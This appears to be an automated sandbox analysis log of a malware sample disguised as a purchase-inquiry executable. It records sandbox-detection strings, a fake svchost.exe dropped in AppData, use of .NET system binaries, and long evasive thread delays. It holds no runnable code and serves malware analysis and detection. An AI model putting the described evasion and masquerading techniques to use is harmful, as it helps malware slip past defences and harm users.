Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, 00000000.00000002.1664238561.000002091F69C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1993738956.000001A48033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1920918632.000002168033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1950991965.0000028E8033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, 00000000.00000002.1664238561.000002091F69C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1993738956.000001A48033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1920918632.000002168033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000F.00000002.2868061435.0000000000437000.00000040.00000400.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.1950991965.0000028E8033C000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Memory allocated: 2091DAF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Memory allocated: 20937660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 1A4FE310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 1A498000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 216F7350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 216F8DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 10A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 29F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: D30000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2960000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: E90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 28EF0550000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 28EF1FA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1090000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2960000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 24F76540000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 24F77FA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 10C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2C80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 4C80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: FF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: 2A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: 4A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: 12F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: 2D00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Memory allocated: 2AB0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594271
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594126
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593856
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 592584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 587093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599647
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598935
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 593306
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 593178
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599704
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 599078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 598774
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 594000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 593873
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599838
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599709
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599567
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 599023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 598886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 598717
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7243	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2352	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 4749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 8102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 1604
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 6495
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 3120
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 6268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 3487

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep count: 41 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -37815825351104557s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7624	Thread sleep count: 4952 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -599594s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -599453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595703s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595498s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595384s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7624	Thread sleep count: 4749 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -595016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594530s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594271s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -594126s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -593984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -593856s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -593275s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -592797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -592584s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99871s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99336s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99087s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97299s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97138s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -96763s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -96636s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -96524s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -96415s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -95248s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -95140s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -94989s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -94859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -94749s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -94640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -587093s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99891s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99782s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99657s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99532s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99407s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99227s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -99016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98891s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98782s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98657s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98532s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98380s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98251s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -98126s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97980s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97874s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97680s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7560	Thread sleep time: -97376s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep count: 40 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6024	Thread sleep count: 8102 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599765s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6024	Thread sleep count: 1604 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599647s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599532s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599407s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599293s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -599052s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -598935s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -598813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -598688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -598563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99855s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99542s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99413s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99263s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99139s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -99029s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98907s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98313s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -98077s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97965s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97850s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97731s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97614s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97490s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97350s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97184s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -97068s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96938s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96823s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96546s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96385s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96252s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96120s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -96000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95872s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2756	Thread sleep time: -95759s >= -30000s
